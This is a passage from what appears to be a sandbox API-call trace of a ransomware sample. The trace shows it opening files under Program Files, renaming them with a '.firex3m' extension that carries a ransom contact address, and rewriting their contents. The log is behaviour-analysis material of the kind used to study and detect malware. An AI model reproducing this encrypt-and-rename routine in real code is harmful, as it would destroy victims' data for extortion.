Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml") returned 1 [0221.698] GetProcessHeap () returned 0x630000 [0221.698] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50d4) returned 0x6fe3bb0 [0221.699] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0221.699] CloseHandle (hObject=0x6a4) returned 1 [0221.699] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.699] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.701] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.701] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d52c0 [0221.701] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0221.701] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ko-kr\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0221.701] GetProcessHeap () returned 0x630000 [0221.701] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d7550 [0221.701] GetProcessHeap () returned 0x630000 [0221.701] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x261) returned 0x6d77d8 [0221.701] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.702] ReadFile (in: hFile=0x6a4, lpBuffer=0x6d7550, nNumberOfBytesToRead=0x240, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7550*, lpNumberOfBytesRead=0x483ff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.705] GetProcessHeap () returned 0x630000 [0221.705] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0221.705] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.705] WriteFile (in: hFile=0x6a4, lpBuffer=0x6d77d8*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d77d8*, lpNumberOfBytesWritten=0x483ff0c*=0x240, lpOverlapped=0x0) returned 1 [0221.705] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.705] WriteFile (in: hFile=0x6a4, lpBuffer=0x6d7a17*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6d7a17*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0221.705] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.705] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0221.706] CloseHandle (hObject=0x6a4) returned 1 [0221.706] GetProcessHeap () returned 0x630000 [0221.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d77d8 | out: hHeap=0x630000) returned 1 [0221.706] GetProcessHeap () returned 0x630000 [0221.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6d7550 | out: hHeap=0x630000) returned 1 [0221.706] GetProcessHeap () returned 0x630000 [0221.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0221.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ko-KR\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4a183ab4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x268, dwReserved0=0x483fd20, dwReserved1=0x6d7550, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d4e40 [0221.706] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0221.706] Sleep (dwMilliseconds=0x1) [0221.744] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml") returned 1 [0221.744] GetProcessHeap () returned 0x630000 [0221.744] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50cc) returned 0x6fe3bb0 [0221.744] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.745] CloseHandle (hObject=0x698) returned 1 [0221.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0221.745] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0221.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0221.746] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d9, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0221.746] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0221.746] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ja-jp\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x698 [0221.746] GetProcessHeap () returned 0x630000 [0221.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc718 [0221.746] GetProcessHeap () returned 0x630000 [0221.746] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc910 [0221.746] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.746] ReadFile (in: hFile=0x698, lpBuffer=0x6dc718, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc718*, lpNumberOfBytesRead=0x483ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0223.039] GetProcessHeap () returned 0x630000 [0223.039] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0223.039] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0223.039] WriteFile (in: hFile=0x698, lpBuffer=0x6dc910*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc910*, lpNumberOfBytesWritten=0x483ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0224.361] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0224.361] WriteFile (in: hFile=0x698, lpBuffer=0x6dcacf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dcacf*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.139] SetFilePointerEx (in: hFile=0x698, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.139] WriteFile (in: hFile=0x698, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.140] CloseHandle (hObject=0x698) returned 1 [0225.709] GetProcessHeap () returned 0x630000 [0225.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc910 | out: hHeap=0x630000) returned 1 [0225.709] GetProcessHeap () returned 0x630000 [0225.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc718 | out: hHeap=0x630000) returned 1 [0225.709] GetProcessHeap () returned 0x630000 [0225.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0226.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ja-JP\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f3881cc, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c24bdcf, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x483fd20, dwReserved1=0x6dc718, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0226.681] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.681] Sleep (dwMilliseconds=0x1) [0228.717] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe", len=0x32 | out: pbstr=0x483ff7c*="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe") returned 1 [0228.717] GetProcessHeap () returned 0x630000 [0228.717] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x514c) returned 0x6fe3bb0 [0228.717] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\wmpnetwk.exe" (normalized: "c:\\program files\\windows media player\\wmpnetwk.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0228.717] Sleep (dwMilliseconds=0x1) [0230.434] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml") returned 1 [0230.434] GetProcessHeap () returned 0x630000 [0230.434] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e4) returned 0x6fe3bb0 [0230.434] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0233.509] CloseHandle (hObject=0x714) returned 1 [0233.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0233.510] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0234.571] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0234.571] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fc6c | out: lpFindFileData=0x483fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3cc07900, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x23f, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0234.571] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0234.571] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\nn-no\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0234.571] GetProcessHeap () returned 0x630000 [0234.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x717e148 [0234.571] GetProcessHeap () returned 0x630000 [0234.571] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x699448 [0234.571] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.571] ReadFile (in: hFile=0x714, lpBuffer=0x717e148, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x717e148*, lpNumberOfBytesRead=0x483ff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.574] GetProcessHeap () returned 0x630000 [0234.575] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0234.575] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.575] WriteFile (in: hFile=0x714, lpBuffer=0x699448*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699448*, lpNumberOfBytesWritten=0x483ff0c*=0x220, lpOverlapped=0x0) returned 1 [0234.575] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.575] WriteFile (in: hFile=0x714, lpBuffer=0x699667*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x699667*, lpNumberOfBytesWritten=0x483ff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.575] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.575] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x483ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x483ff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.575] CloseHandle (hObject=0x714) returned 1 [0234.575] GetProcessHeap () returned 0x630000 [0234.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x699448 | out: hHeap=0x630000) returned 1 [0234.575] GetProcessHeap () returned 0x630000 [0234.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x717e148 | out: hHeap=0x630000) returned 1 [0234.575] GetProcessHeap () returned 0x630000 [0234.575] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.689] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.689] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x483fcc4 | out: lpFindFileData=0x483fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8f420b1b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x51c2ee02, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0xbac7496, dwReserved1=0x717e140, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5440 [0235.689] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0235.690] Sleep (dwMilliseconds=0x1) [0235.733] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-white.png", len=0x62 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-white.png") returned 1 [0235.733] GetProcessHeap () returned 0x630000 [0235.733] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc0) returned 0x6fe3bb0 [0235.733] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\bing-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\bing-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.733] Sleep (dwMilliseconds=0x1) [0235.893] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml", len=0x83 | out: pbstr=0x483ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml") returned 1 [0235.893] GetProcessHeap () returned 0x630000 [0235.893] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f90) returned 0x6fe3bb0 [0235.893] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0235.893] CloseHandle (hObject=0x718) returned 1 [0235.893] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x483ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.894] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es-valencia\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES-valencia\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program 